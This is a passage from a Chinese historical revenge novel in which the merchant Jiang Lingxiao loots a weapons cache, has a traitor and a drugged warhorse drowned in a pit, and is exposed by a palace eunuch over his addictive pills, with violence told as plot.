任小虎在棚内大喊大叫,门外的姜凌嚣都不为所动,他转身上马,准备折返回去屠杀小戏子。
马还未奔出院门,耿正拦住,递上两封京来密函。
提供姜家灭门消息的线人和明面上的死对头沈戚风同时有了动静。
18. 接管兵器
一封密函,线人暴露,要携全家逃亡,想继续追问线索,得加钱。
一封飞来横祸,太子手谕:玄虎堂须缴纳兵饷五十万两,限期三个月。
线人和太子,把姜凌嚣推到了抉择的悬崖。
要么孤注一掷,继续复仇,结局极可能惨烈到血本无归;
要么回头是岸,斩断仇恨,带着钱与小虎抛却现有的一切,余生隐姓埋名。
灯油熬干,姜凌嚣的身影熄灭在黑夜。
天光微亮,渗进窗户,他的身影又渐渐清晰,还坐在堂桌前,眸中爬满血丝,彻夜未眠依旧没拿定主意。
门外有走来走去的响动,是管家纠结的脚步声,姜凌嚣问:“什么事?”
管家进门,支支吾吾:“一个男戏子找您。”
没来得及杀他,他倒自己送上门来了。
姜凌嚣红着眼:“放他进来。”
小戏子莲步丛生飘进门槛。
姜凌嚣敞坐太师椅,单手抵在太阳穴,合眼休憩,倦容未加梳洗,颌泛青茬,零落一身落拓倜傥。
小戏子眼中一亮,昂起脖子,高声:“我要带小虎走。”
下人们面露“好大的胆子”,赶紧退下。
姜凌嚣懒地抬眼:“舌头好了?”
蛇信针拔了出来,小戏子嘴里含着药,说话并不利索,但无畏惧:“你长得这样好,器宇轩昂,风度翩翩,什么女人找不到,非要霸着不懂人事的小虎?”
这话透着说不出的古怪,姜凌嚣拧眉,砸个茶杯过来。
小戏子偏头躲开,茶杯“咣”地砸到门框,摔了个粉碎,下手这样重都阻止不了小戏子继续叨叨:“小虎不属于人间,不应该困在高门大户。”
姜凌嚣嘲讽:“应该跟你在鱼龙混杂的戏班子一起当猴儿?”
“你会伤害她!我和她才是同类!我们属于高山,属于森林!”
姜凌嚣:“来人。”
小戏子被家丁扔出大门,狠狠摔在地上,屁股鲜血直流,雪青裤子瞬间染红。
一只白底黑靴踏出门槛,姜凌嚣手里提着锤子,步伐生风,冷面无情,像个索命阎王。
小戏子生怕被一锤子捶死,“别杀我,求您!”
一摔就流血的弱男人,捶死他都嫌污了锤子。姜凌嚣目不斜视,步向西苑。
马棚门口,姜凌嚣驻足举锤,欲放小虎出门。自两人有过肌肤之亲,还是第一次晚上分开,他到底不舍。
门板上的钉子刚拔出不到半寸,里面传出咿咿呀呀的唱戏声,全是小戏子教的。
姜凌嚣暴怒,“砰”的一锤子将钉子重新锲实,又喊人拿木板和钉子,“乒乒乓乓”一顿狠砸,把本就暗无天日的马棚钉的连透气都难。
小虎拍着门板大骂:“混蛋!你给我打棺材呢,我招你惹你了?!”
结结实实关了两天。
第三天半夜,穷极无聊的小虎趴在干草堆里玩壁虎,忽然听见小戏子的低声呼叫:“虎儿,我带你走!”
小虎大为惊喜,趴到门板上:“小戏子?”
“是我,我偷了太守的银子和马,带你浪迹天涯。”
“好!”
此刻只要能出去这鬼地方,她才不管跟谁走。
小戏子寻来一把羊角锤,笨手笨脚抠门板上的钉子,累得汗透衣衫才拆了一层,不由低骂:“哪个天杀的钉这么紧?”
困在棚里的小虎也不闲着,咣咣撞木板,企图钉子松动好拆。
家丁听见动静前来:“什么人,胆敢闯······”
话未落,半空刃光一闪,家丁脖子喷血,“噗通”倒地。
两个拜基蛮子举着鲜血淋漓的砍刀,指向小戏子:“你个贱货,原来是跑到康凌郡来了,怪不得国王找不到你。”
小戏子举锤防卫:“我是不会跟你们回去的!”
拜基蛮子一巴掌扇飞小戏子。
小虎急地呼叫:“快来人!”
“不许撒野!”又来一家丁,以一敌双。
两方均下死手,全部倒在血泊。
小戏子趁机捡回锤子,继续拆木板,忽然停住,转向马棚的东方,苦苦哀求:“别杀我,放我们走!”
小虎趴在洞口往外看,无奈只拆出一个拳头的洞口,看不清马棚东角到底站着谁。
血泊中,爬起一个藩国蛮子,摸起地上的刀,踉踉跄跄走向小戏子。
小虎提醒小戏子:“小心背后!”
小戏子忙着朝东方磕头:“求您!”
“喂,东面的家伙,救救小戏子,他不会武功!”
蛮子的刀从背后捅穿小戏子的薄薄身板,死在小虎眼前。
小虎嘶吼:“东面是谁?!为何见死不救?!”
马棚西角,姜凌嚣从天而降,挥剑斩杀拜基蛮子,劈了门板,抱小虎出门。
小虎却一把推开姜凌嚣,扑向小戏子尸体,手忙脚乱抢救。
姜凌嚣脸上醋意恣生,胸口压不住的剧烈起伏。
轰隆轰隆,马帮壮汉齐抄刀剑赶来。
小虎怒审壮汉:“你们刚才谁站在马棚东角?!”
无一人上前认罪,井然有序清理血迹,埋尸。
回到书房,姜凌嚣亲自缴了热毛巾,帮小虎擦脸。
小虎把一腔怒气撒在姜凌嚣身上,大吼大叫:“杨柳红死了,小戏子死了,都是在认识你以后!”
姜凌嚣惊了一下,继而愤怒:“他们死,与我何干?”
“沾上你就倒霉,谁跟我好谁死,我要离开你!”
姜凌嚣嘴角狠狠抽了一下:“你敢!”
“你凭什么拦我?当初被你二哥赶出京城,你还想给我盘缠让我离开你呢,现在此话奏效!”
姜凌嚣气息粗重,一字一句:“谁都可以离开我,唯独你不能。”
“我还会认识别的朋友,难道再看她死?”
姜凌嚣双眼通红:“杀戏子的是蛮子,关我什么事?”
“一切还不是怨你把我关进马棚!”
“那还不是你跟个戏子鬼混在先!”早就存着一口老醋,姜凌嚣一把薅住她的衣襟。
一滴眼泪从她眸中滚落,坠在他的手背,烫心,他狰狞的眉眼松动,手撒开,帮她抚平衣裳的褶皱,缓缓道:“还记得坠龙崖吗?我们两个生是一起生的。除非死亡,才能将我们分开。”
他为她软弱下来,她也让步:“不让我离开你也行。”
“好,你有什么要求?”
“你帮我挖出对小戏子见死不救的混蛋,我要亲手宰了他!”
姜凌嚣喉结一提,仿佛噎住。
房门被急
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促敲了两下。
开门,小炸药和耿正同时出现,小炸药浑身是土:“大事不好了”。
姜凌嚣轻轻掩门而出,转头就变得不耐烦:“又出了什么事?”
耿正低声:“于克新的寡妇和女儿被杀,于家彻底灭门了。”
姜凌嚣震惊:“谁杀的?”
耿正:“拜基蛮子。人剁碎,凶器直接插到太守府门上,十分嚣张。”
于太守自大蛮子不会杀到他头上的话,像记响亮的耳光。
拜基蛮子屠杀于家时,小炸药就在同个院子的炼丹房,他情急中闯进菜窖,躲过一劫,现将所见所闻和盘托出——
小戏子是拜基藩国国王的男宠,因国王玩虐残忍,他潜逃到康凌郡。国王派人寻找小戏子,打听到于太守收留在府,误以为两人有染。
争风吃醋不好直接杀太守,蛮子便将太守弟弟家屠了个干净,连狗都没放过,寻迹追踪小戏子到姜家马棚,意外被团灭。
难怪小戏子被家丁摔在地上,哪儿都没伤,只有臀部流血。
难怪那货对自己讲话怪怪的,他压根就不喜欢女人!
姜凌嚣转头看向门缝,小虎在屋里挥剑,口中念念有词为小戏子报仇,他闭了下眼,聊作愧疚。
——站在马棚东角,眼睁睁看着蛮子举刀在小戏子身后,见死不救的,正是他。
小炸药继续汇报:“于克新家的兵器库就在菜窖底下,还有几个幸存的家丁在把守。”
姜凌嚣缓缓转回头,歉疚的眼神已变得坚硬:“接管兵器。”
耿正叼上柳哨,边吹边走向西苑,哨中暗语冠冕堂皇:【蛮子入侵,杀我族类,血债血偿,守卫兵器!】
哨音一落,西苑就传来铮铮马蹄声。
马帮倾巢出动,背躬提箭,咄咄驱马,杀向于克新家。
小炸药虽不懂哨中暗语,但跟马帮混久了,光看这架势,也能猜出所谓接管就是趁火打劫。他曾钦佩信服的姜凌嚣,不再是个商人,变得更像个阴谋家,他不由心惊肉跳。
小虎出了书房,碰见发愣的小炸药,瞅他浑身是土,嘲笑他是不是偷挖人家祖坟去了。
小炸药摇摇头,惊魂未定:“是于寡妇家被灭门,我躲到菜窖去了。”
听闻干女儿也死了,小虎怒不可遏,提刀跑到西苑,挖出埋好的蛮子死尸,剁下脑袋,骑马拖烂头骨,挂到城墙,朝活着的蛮子示威。
窗外,响了一声柳哨,马帮凯旋。
姜凌嚣眸中的紧张绷断,这才松了口气。
趁火打劫成功,助长了决胜的信心,姜凌嚣写了封同意给线人加钱的密函。
在带小虎远走高飞与复仇之间,他到底是选择了后者。
放飞信鸽,姜凌嚣托烛上楼,准备睡觉,忽然嗅到一股隐约的血腥味。
他顺着气味,下了楼梯,一直寻到后院池塘。
烛光一照,水面如镜,倒映出个人影。
外面的人长身玉立,面目楚楚,里面的人却是血腥狰狞。
姜凌嚣惊异自己改变,忽觉水色不对,托烛近照,池塘在被鲜血汩汩染红,成为血池。
池塘水是从宅外的河引流而来,血来自门外。
也就是,外面死了很多人!
姜凌嚣的利眸穿透黑夜,看向大门的方向。
19. 于太守反目
因为一个戏子,拜基藩国与于太守结下个人恩怨,借城墙上挂着的蛮子人头,化为国仇,连夜入侵大峪国。
边疆战争爆发,殃及百姓无数。
不及天亮,横尸遍野,血流成河,血河汇融到康陵郡最大的河,分流到姜家池塘。
姜家东苑门内,姜凌嚣坐镇院中央,耿正守卫在侧,马帮壮汉和家丁或持刀剑,或举强弩,分布各楼层关要,严阵以待。
“噌噌噌”,小虎坐在姜凌嚣脚下磨刀。
宅门“砰砰”敲响,丫鬟们吓得瑟瑟发抖,小虎举起磨好的大砍刀:“别怕!我正嗜血难耐,蛮子上门送死,看我给小戏子和干女儿报仇!”
姜凌嚣喝止:“镇定,还没看清来人是谁。”
“死鱼眼”前去宅门,领回五个京城做派的男人,难掩太监气质。
姜凌嚣一眼认出为首的,是年初到沈家宣告“沈凌嚣之死”圣旨的那个,陶公公。
陶公公宣太子令旨,边陲战乱多险,为保商号安全和利益,召唤各地京籍商户回京,领旨当日启程。
这是生怕到嘴的肥肉跑了,吃定了五十万两兵饷。
蛰伏等待深入庙堂的机会来了,但来得仓促,让姜凌嚣毫无准备。
因战乱,地藏蕨运输中断,没了原料,玄虎丹不日必将停售,无钱困兽何谈复仇!
姜凌嚣拖延领旨:“天下兴亡匹夫有责,我愿先与于太守抗蛮,保卫边疆,再回京赴命。”
陶公公鼠眼一眯,冷笑:“太子有令,少东家遵旨便罢,边疆生死存亡与你一介商人何干!难不成,你还心存安天下的野心?”
姜凌嚣只得领旨遵命,启程前命管家带上银票前去支援于太守,以赈济兵马,抵御外寇。
管家很快打道回府,禀告姜凌嚣:于太守收了银票,却阴阳怪气。
向来和于太守交好,相送之言怎会阴阳怪气?难道是于太守误会他大敌当前临阵脱逃?不会吧,于太守本人也不想打仗。
姜凌嚣百思不得其解,但启程在即,来不及求证。
康凌郡失守在即,不可在此炼丹,趁着太监们吃饭喝酒,耿正悄然将余下的地藏蕨汁和炼丹工具藏进两口棺材。
临行前,姜凌嚣为姜老妇夫扫墓送别。
老妇夫墓旁,有一个空坟,姜凌嚣挥锹挖坟,铲出一块墓碑。
拂去碑上的土,露出【姜凌嚣】
自存心复仇,姜凌嚣早已做了与凶手同归于尽的打算。此去京城,深入庙堂,更是凶多吉少。
山下,传来小虎呼喊姜凌嚣的声音,他转身踢倒墓碑,重新埋起来。
“呔!”小虎从背后拍了下姜凌嚣的肩膀,得逞大笑:“吓到了吧!干什么呢?”
姜凌嚣踩在自己墓碑上,云淡风轻:“来和外婆外公告个别。”
小虎的胸前鼓鼓囊囊,像长了四个胸。
她蹲到老妇夫碑前,掏出一个苹果,一大块酥点,摆在碟子里,挑拨坟中老两口:“就给你们这种没办法平分的,打起来!打着打着就不寂寞了,等我回来给你主持母道。”
姜凌嚣笑着看她,脸上流露出少有的温情。
山脚下传来谈笑风生,太监们酒足饭饱后,转到后院参观。姜凌嚣敛起笑容,牵着小虎下山。
宅内人员已调动完毕,整装待发,白眉老太、耿正、小炸药和瞎老娘、四个马帮壮汉拉着两口棺材,随姜凌嚣北上。
陶公公盯着棺材,问:“跋山涉水的,费劲拖着两口棺材干嘛呀?”
“两个马帮弟兄没了,我帮他们落叶归根。”
陶公公又瞥一眼棺材,警觉不减。
——
藩国蛮子凶悍,边防溃不成军,于太守加急奏折到京,请求朝廷支援。
因在康凌郡有剿匪丰绩,又熟识地貌人文,沈丘染被皇帝派去抵御外寇。
带兵南下十日,一个沉甸甸的黄昏,及至荆楚官道,沈丘染大队竟迎面碰见姜凌嚣一行。
兄弟久别离,忙安歇同处,扎营在官道两旁荒地。
才下过秋雨,地上潮湿,帐篷前点起堆堆篝火,做饭取暖。
将领帐篷前,紫玉细致地给全羊刷油,撒孜然,散发出浓烈的肉香味。
士兵们围火,架锅煮的是菜叶面,一人才分到一个鸡蛋,寡盐少油。有兵跑进林子,举着火弓打野兔,引着了草丛。
山火蔓延迅速,烧了农田,沈丘染带头冲进火场。
奋战半天,火扑灭了,沈丘染赏了犯错的兵一人五十军棍。
一般违纪,二十军棍顶天,五十军棍太过严苛,有兵跪下求饶,又被沈丘染加了二十军棍。
他生平最恨懦弱:“世道艰难,百姓就靠这点薄田生存,烧了,他们喝西北风去吗?你们是上战场抛头颅洒热血的,几棍子就吓软了膝盖,被敌人俘虏,还不卖国?打,狠狠地打!”
但私下,沈丘染派副手给伤员送药和自己同等级的饮食,哀叹:“明明查抄出那么多银钱,充了镇西北的兵饷,我南下部队就这样吃紧。”
姜凌嚣拍拍沈丘染肩头:“康凌郡物产富饶,府衙阔绰,到了那,军中伙食就有改善了。”
说话间,一只瘸腿野狗跑来,围着火堆取暖。
小虎扔给它一大块肉,野狗食肉知恩,乖乖窝在她脚下,歪着头看她一碗接一碗地喝酒,仿佛认定了主人,小虎抱它入怀,也默认收养了它。
片刻温馨,被一阵突袭的寒风吹散。
沈丘染打个哆嗦:“一场秋雨一场寒。前几天京城下的雨才大呢,山洪爆发,连庙都冲了。”
紫玉忙回帐篷拿来红稠巾,裹在沈丘染颈间。
小虎嘲笑:“男人戴个红巾?”
紫玉看向姜凌嚣,眼含笑意:“皇上赏的。五爷见到皇上,还特意提到三爷协助剿匪来着。爷,胳膊好些了吗?”
姜凌嚣淡淡的:“好多了。”
小虎拉起姜凌嚣的右胳膊:“为了保护沈丘染,他的手筋被炸断,废了,根本不是对你说的只是擦伤。”
“口无遮拦。”姜凌嚣瞪眼。
沈丘染满面愧色,不停敬姜凌嚣,喝到酩酊大醉还要酒,拦都拦不住。
姜凌嚣拧眉低斥小虎:“跟他说那些干嘛,平白增加他的负担。”
“我实话实说也是错?”小虎起身,去跟白眉要了包醒酒茶,扔给紫玉。
紫玉扶沈丘染歇到帐篷,沏了
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醒酒茶,喂到沈丘染嘴边。
碗中飘着粉红的桃花瓣。
沈丘染正嗜睡贪梦,猛地推开茶杯,茶洒进脖子。
红绸湿透,茶汤暖热,这触觉仿佛······一堆马肠子挂了满头满脖子,也是鲜血淋淋的热乎乎!
“啊!”沈丘染猛地睁眼,一脸惊恐。
“魇着了?醒醒啊五爷!”
紫玉张着嘴,身上掉落几片桃花瓣,沈丘染盯着她,眼前闪过被自己一剑捅入咽喉的张大嘴,炸碎杨柳红时,漫天飞舞的花瓣······
沈丘染头晕目眩,天旋地转,他下意识拔刀自卫:“别过来!我并非有意要杀了你们!”
紫玉赶紧上前夺刀,搂他在怀。
沈丘染哆嗦许久,渐渐回神,面前的只是手无寸铁的紫玉,不是索命鬼。
被人看到了软弱,沈丘染一脸挫败:“我自小就立志做个英雄,惩歼除恶。张大嘴是恶人,为何杀了他,却有杀死了自己的一部分的感觉?”
紫玉替沈丘染揩去头上的冷汗:“皇帝对你嘉奖,证明你做的正确。”
沈丘染抬眼,眸光黯淡,迷茫不堪:“我以为张大嘴死了,一切就都结束了。可失控感让我觉得像才开始。”
不重要、不正义的人的死亡,摧毁了沈丘染曾坚定不移的英雄信念。
沈丘染崩溃:“不怕你笑话,我其实······其实很害怕再踏上康凌郡的土地,很畏惧战场上再有爆炸。可我是将领,边疆老百姓还等我解救,底下还有那么多兵想靠胜仗晋升加俸,获得好的生活。”
帐篷外,来送醒酒丹的姜凌嚣站定,听了个清清楚楚,黑眸熄光,与夜融合,深不见底。
不远处,小炸药和死鱼眼拉着两口棺材,蹑手蹑脚离开帐篷堆,钻进黑夜。
姜凌嚣目送他们远去,回到帐篷,里头“砰砰”乱响,醉醺醺的小虎在砍一根羊骨头。
生怕她剁到手指,姜凌嚣抽走刀和羊骨头,将她圈在怀里,揉她脑袋,柔声:“醉成这样?我给你捏捏,你就放松些了。”
小虎醉眼迷瞪抢回羊骨头,指着上面的刻痕,咬牙切齿:“我要把杨柳红、小戏子和干女儿的仇恨记下来,今后为她们报仇!”
姜凌嚣突然一阵烦躁,夺走羊骨头,强迫小虎休息。
走出帐篷很远,借着朦胧月色,姜凌嚣看了看羊骨头上的“仇恨书”,不过是乱痕,小虎不识字。
他狠狠抛出羊骨头,不小心甩到了右手,一阵酸痛。
世上最亲最在意的两个人,因为他的复仇,都遭受了不同程度的创伤。而他自己,废了右手功力。谁也没好到哪里去。
身后树林,一个高大弓背的黑影穿梭而来。
姜凌嚣没有回头,就有不好的预感。
耿正止步:“金铺线人收钱后,全家还未逃跑,就被人故意烧死在家。赶上场大雨冲刷,证据销毁,仵作也查找不出凶手线索。”
灭门姜家的线索不光一点也没得到,且靠玄虎丹挣的所有钱,也全打了水漂。
姜凌嚣使劲攥右手,疼痛刺骨,握不成拳,空空如也。
耿正叹口气:“还有更糟的消息,于太守与我们反目了。”
20. 活埋
耿正带路,来到深山的湖边。
近水的一棵树下,地面有个人头晃动,发出沉闷的“呜呜”声。
是马帮“□□头”刘坤,五花大绑站在深坑,只露出一颗脑袋。
那晚接管兵器撤退后,刘坤发现马镫子掉在了于克新家。马镫子花纹特殊,一排查就知道来自姜家马帮,他返回于家菜窖。
不巧,于太守带人前来守卫兵器,两人撞个面对面。
菜窖空无一物,于太守连张大嘴兵器房空了的原因也恍然大悟。
刘坤既没当场灭口于太守,也没将这一出禀告给耿正,直到被耿正察觉出不对劲,严刑逼供。
怪不得送银票上门,于太守态度反常!
应该是太监们的突然出现,打断了于太守的复仇。不然让朝廷知道于家私贩兵器,他也没好果子吃。
沈丘染本就怀疑张大嘴兵器房清空有鬼,此去康凌郡,于太守一旦告密,所有线索串联······后果不堪设想!
姜凌嚣拔剑就要杀了刘坤。
以前杀的,都是外人,坏人,现在要杀自己人。
姜凌嚣下不去手,将剑撇到了湖对岸。
耿正冷静劝慰:“复仇就是有毒的,一旦走上这条路,要么中毒身亡,要么与毒共生直至死亡。”
剑穗上挂着的火折子点燃了草丛。
耿正想要去对岸灭火,被姜凌嚣拦住,他低头看着刘坤即将死亡的坑,“让它烧,正好毁尸灭迹。”
火势蔓延,直烧到对岸姜凌嚣的眼中,他仿佛从火焰的跳跃中看到了外婆外公冤魂的动荡,眼中的同情渐渐被仇恨占据。
“想让‘忠勇中郎将’迟于你到康凌郡,要用点手段了。”熟悉的阴鸷,又浮现在姜凌嚣脸庞。
帐篷外,马嘶了一声。
紫玉听出是沈丘染的战马,驮他走南闯北,见证他从侍卫晋升到忠勇中郎将,可谓同甘共苦,患难与共,沈丘染格外爱惜。
战马只认沈丘染和紫玉,别人靠近就变得顽劣,生怕出一丁点差错,她翻身起来,出了帐篷,走到拴马桩前。
一个黑影赫然而立。
紫玉惊吓,定睛看清是姜凌嚣,低声问:“您在这做什么?”
姜凌嚣伸出手掌,示意她喂给马。
紫玉接过去,是个药包,她声音颤抖:“马吃了会怎样?”
“它不吃,就得人吃。”
哪个人?她?还是她的家人?或者是马的主人沈丘染?
紫玉不敢想,哆哆嗦嗦开包,将不明粉末喂到马嘴边。
马伸出热乎乎的舌头,舔在紫玉冰凉的手指上,她心下一软,偷偷抠了下马嘴,希望它少吃点。
吃过药的烈马变得安静,姜凌嚣解下缰绳,牵马离开,回到“□□头”被绑的坑前。
半夜风大,整个对岸已烧起来,火光连天,映的这边岸如白昼,一切清晰可见。
耿正踢了一脚,刘坤躺进深坑,又推了一把战马,战马砸到刘坤身上。
人、马齐齐发出悲鸣。
耿正举锹改了水道,引来湖水,淹没深坑。
水面“咕噜咕噜”几下,恢复平静。
姜凌嚣将从马脖子揪下的紫铃铛,使劲撇进湖中。
耿正闭眼默哀,而后策马南下,刺杀于太守。
沈丘染心系平藩,天光还未亮,就迫使自己从醉梦中清醒,命号兵吹响号角,即刻启程。
紫玉伺候沈丘染洗漱,闷声不抬头。
沈丘染朦胧想起昨晚醉酒失态,倍感羞怯,没话找话:“昨晚没睡好吧?”
紫玉心虚,草木皆兵:“什么意思?”
沈丘染愣了一下:“没什么意思,我看你眼圈发黑,以为你没睡好。”
“哦。”紫玉如释重负,接过他擦完脸的毛巾,在自己脸上胡乱擦了几下,有点失态。
沈丘染用感到奇怪的眼神看着她。
帐篷外,小虎破口大骂:“我昨晚收养的瘸腿狗不见了,是不是你们臭当兵的给偷吃了?”
沈丘染要出去看个究竟,准备撩帘,副官抢先撩帘进来,气喘吁吁:“沈将,您的战马丢了!”
战马乃皇赐,可以死在沙场,死在藩国蛮子刀下,唯独不能被丢失亵渎!沈丘染赶紧跑出帐篷找马。
哪知帐篷外天分两色,北边蓝天白云,南边却黑烟滚滚,想必着了大火。
沈丘染当机立断命大部队按原计划南下,他亲自带小队奔向失火的山上,想救火,但一切都晚了。
湖烧干,树林烧秃,山中庙宇与村庄坍塌,一切活物化为残骸,地上不时冒着余烟,空中充斥着焦糊难闻的气味。
沈丘染痛惜:“想必是足足烧了一夜,你们怎么不叫醒我?来得及的话,我们全体官兵出动,还能救火。”
士兵是准备上战场保家卫国的,瞧不上灭火,再说本地官员都不管,凭什么他们冒险?
属下只关心将军战马,“这山都烧没了,战马会不会葬身火海了?”
说话间,一个兵在前方大叫:“快来看呐!”
烧干的湖床里,布满死鱼,翻着密密麻麻永不瞑目的眼睛,触目惊心。
靠近岸边的淤泥里,一只狗的残骸,其中一只后腿少块骨头。
正是小虎早上疯找的瘸腿狗,被大火活活烧成了灰烬。
忽然,有道紫光闪了下沈丘染的眼睛。
他下马拔剑,脚踏进湖床几步,挑起半掩于淤泥中的紫铃铛。
紫铃铛是紫玉之前拴在马脖子上的,说是路途遥远枯燥,有点动静悦耳,赶路的心情也欢快些。
所有人断定,马死了,陷在了淤泥中。
马昨天还驮着自己!沈丘染难以接受突如其来的死亡,一手握紧铃铛,一手持剑疯狂挖湖中淤泥,准备翻遍湖床,找出爱马死尸。
士兵们纷纷跳下湖床,一起拔剑翻泥。
不远处,熏黑的岩石后面,姜凌嚣捶了下拳,顾虑重重。
沈丘染再这样找下去,非翻出马和刘坤的尸体!得赶紧想个办法······
几个衙役簇拥着一台轿子,匆匆赶来,围住沈丘染一行。
沈丘染和士兵们停止挖掘。
县官跳下轿子,拦腰抱住沈丘染,直把他往轿子里塞,“沈将军来了鄙地,也不知会下官,招待不周,敬请原谅。”
沈丘染甩不开肥猪县官,十分烦躁:“你听谁说我身份的?”
“我。”姜凌嚣策马而来。
“三哥怎么还没启程北上?”沈丘染被县令拽的脚下一滑,蹬出一堆泥,露出一只马眼。
姜凌嚣瞥见,连忙飞跃下马,一脚正正落在马眼上,故作镇定:“你带着这么少的人马到了失火地,半天不见你回去,我放心不下,就去求了县官寻找。”
县官凑上笑脸:“沈将军,这儿才发生了火灾,又不安全又不吉利,
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咱去府衙躲个清净不好吗?”
沈丘染大为光火,一把掀翻县官:“火灾损失惨重,废墟急于重建,你不忙百姓正事,却想着吃吃喝喝拉关系!败类!蠹虫!”
脑满肠肥的县官摔在淤泥里挣扎,像待宰的肥猪,十分狼狈。连士兵们都看不下去,纷纷过来扶他。
姜凌嚣和事:“地方小官没怎么见过京官,他把你当神仙伺候,别吓到人家。南下还有迢迢千里,你正好去选一匹壮马。”
沈丘染细想想也是,踏出河床上岸。
姜凌嚣随后上岸时,使劲往后蹬了下泥,盖住死不瞑目的马眼。
县衙,县官和姜凌嚣左劝右让,沈丘染喝下许多酒,终是耽误了南下进程。倒为耿正快他一步赶到目的地,争取到了时间。
翌日,沈丘染起晚了大悔,跟县衙要了匹马,与姜凌嚣匆匆上路。
路过烧焦的树林,沈丘染一脸罪过:“火灾损失惨重,百姓恐怕三年都休养不回来,我却酒池肉林。”
“凡事发生,皆有命数。”本是庄重的安慰,姜凌嚣却笑了一下。
沈丘染说不出的不适,再去看姜凌嚣表情时,他已换了不舍:“五弟,在此别过,先走一步。”
说罢,扬鞭策马而去,只留下黑马黑衣一团黑影。
三哥心地善良,不会对着灾区笑。沈丘染只当刚才自己眼花,猛地踢了下马,匆匆南下。
北上人马并非训练有素的兵,走得不快,夜幕将至,姜凌嚣即成功与其会和,歇在客栈。
小虎摸过客栈后院的看门狗,兴冲冲推门进来:“我要养只狗。”
“不行。”
“为什么!”
“脏。”
“我给它洗澡!”
“那也不行。”
小虎气急,捶了一下姜凌嚣后背。
他猛地转身,抓小虎胳膊的手腕,垂下脸,重重吻在小虎唇上,让人喘不过气。
小虎挣扎,他直接伸手按住她的后脑勺,使劲推她嘴唇贴到自己嘴上,不止亲,还咬,越咬越狠,像要吃人。
日日要伪装斯文,杀戮、使诈带来的紧张与刺激,姜凌嚣只能发泄在私密的欢愉中。
小虎疼地扇了他脖子,抱怨:“每次单独出门鬼混一圈,回来必然发疯,把我弄得浑身疼好几天!从昨晚到今天又出去撞邪了你!”
骂完,她躲鬼似的跑出门。
姜凌嚣捂着脖子上的巴掌印,生出一种前所未有的隐幽愉悦。
陶公公随后进门,神神秘秘发问:“少东家,消失了一天一夜,干嘛去了?”
姜凌嚣面带微笑,将县令请客一五一十讲明。
陶公公不大信:“姓耿的老头呢?”
“我的伙计不白养着,时常需要出差。到了京城,公公早晚还能见到他。”
陶公公眼神一变,直击要害:“那个□□头长相的汉子呢?突然就不见了。”
“路过老家,他回家看看。”姜凌嚣冲茶饮茶,回敬陶公公的眼神淡定从容。
陶公公冷哼一声,猛地拉开窗子,招招手:“少东家来呀,有好戏看。”
姜凌嚣迟疑地走至窗前,俯视。
楼下院内,停着两辆拉棺材的马车,其中一个棺材板开了,小炸药抱着炼丹炉爬出来。
姜凌嚣眉头脩地跳了一下,面色铁青。
陶公公阴笑:“您不是亲口说,棺材里是死尸吗?”
21. 我不要钱,我要人
半个多月来,夜夜偷偷外出炼丹,一炼就是一晚,白天还要赶路,睡眠严重不足,小炸药躲进棺材补觉,被死鱼眼抓个现行。
死鱼眼从没二话,掏出钢鞭就抽,小炸药抱着炼丹炉四处躲。
陶公公朝楼下招招手:“白天赶路,晚上熬胶,真是辛苦你俩了。”
一个太监,居然知道熬胶!捅到朝廷,还不九族株连!
死鱼眼摸向后腰别着的涂毒飞镖。
陶公公悄声提醒姜凌嚣:“我要是跟你的手下‘□□头’一样平白无故‘回了老家’,朝廷不会放过你。”
姜凌嚣眼神制止死鱼眼,关上窗子。
陶公公狡黠笑:“你一定好奇我都知道些什么,那我告诉你,我知道地藏蕨产自棉涤,你拿它熬胶,加在了丹里,让人为之痴狂,所以你才赚得盆满钵满,惹的朝廷重新想起了你。”
姜凌嚣努力让自己看起来平静:“这世上什么都可以买卖,只是价格问题,陶公公请开个价。”
“我不要钱,我要人。”
“好,我给您娶几房姨太太,外送个大宅。”
陶公公摇头。
“那您要什么人?”
陶公公向姜凌嚣一指,仰天一笑,出了门。
接连几天,陶公公只字不提地藏蕨的事,更不解释“要人”的含义,反倒命令随行太监们规矩起来,高深莫测。
离京城越近,秋越深,霜越浓,叶越黄,日日碧天艳阳,萧瑟倒也清爽,可同行人无意赏景,各怀心事,暗流涌动。
只有小虎每天都没心没肺,遇狗就撵,见猪便骑,玩死几十只野兔,活烧一堆老鼠,恶心的太监们避之不及,刚进京城城门,太监们就弃队而去,马不停蹄回宫。
姜氏一行,入驻玄虎堂斜对面的“枕无忧”客栈。包下一楼几间给马帮壮汉,二楼一间做书房,姜凌嚣卧房安在三楼。
卧房推窗,对面就是玄虎堂,市情尽收眼底。门口顾客络绎不绝,手拿把提着丹盒。
盒中,盛着姜凌嚣的赌注与野心。
时隔几个月还乡,前程吉凶难卜。赢,便可挖出真凶报仇,输,赌上的不止是自己的性命。
翌日,太子便有令,召姜凌嚣入宫觐见。
险恶未知,来势汹汹。
皇上龙体抱恙已久,天气渐冷后,更是一病不起,太子代为主理朝政。
西北、西南战乱频仍,宫中开销又大,军饷吃紧,军师姬无心提议和亲,以最小成本稳定战局,防皇帝不测后朝廷陷入四面楚歌,威胁太子继位。
后宫适龄婚配的公主有九名,太子召集公主们上殿前商议,推举出一人,远嫁和亲。
不料,太子耽于玩乐,忘记召见京城商户也安排在了今日。
时值近午,太子的蛟荣殿中,九名公主与十八名京城商户相撞,挤了一地,齐齐等了半个多时辰,依旧不见太子踪影。
太监们低声商议:“太子宿醉,吐了一地,近天明才安歇,并没睡多久踏实觉。这时候叫醒了,谁敢担着?”
“后宫里也就皇后敢叫醒太子,我去禀告!”
太监一出门,在座从寂静无声变得交头接耳。
商户多是中年男人,髯长体胖,围在火炉前烤手,跺脚取暖,不十分端庄。
姜凌嚣面如冠玉,站松坐钟,气质绝尘,并不加入别人的交头接耳,诸公主不由频频投来友好的目光。
唯独高傲雍容的竞天公主,目不斜视,端坐如佛。等得不耐烦,她起身欲走。
屏风后面,太子摇摇晃晃出现,喊住竞天公主:“没我的批准就走,知不知道今天有要事相商?”
一张嘴,遮不住的酒气扑面而来。
竞天公主屏住呼吸,口气和表情一样冷硬:“殿下既清楚今有要事,还宿醉不起,可见也并无正事。”
“放肆!”太子抽走贴身太监的拂尘,朝竞天公主砸了过去。
拂尘砸在发髻,松坠下一缕发丝,簪子摇摇欲坠。
太子指着竞天叫嚣:“我马上就把你嫁给拜基蛮子,让你永远回不了京城!整个皇宫早晚是我的,我说一不二,现在你给我滚!”
竞天受了奇耻大辱,扭头跑出蛟荣殿,北风呼啸,吹的人踉跄,她胡乱扎进殿外的牡丹亭。
此亭,因竞天公主喜爱牡丹,父皇下令而建,亭子四周只养牡丹,品种不一,春暖花开之时,分外绚烂华贵。
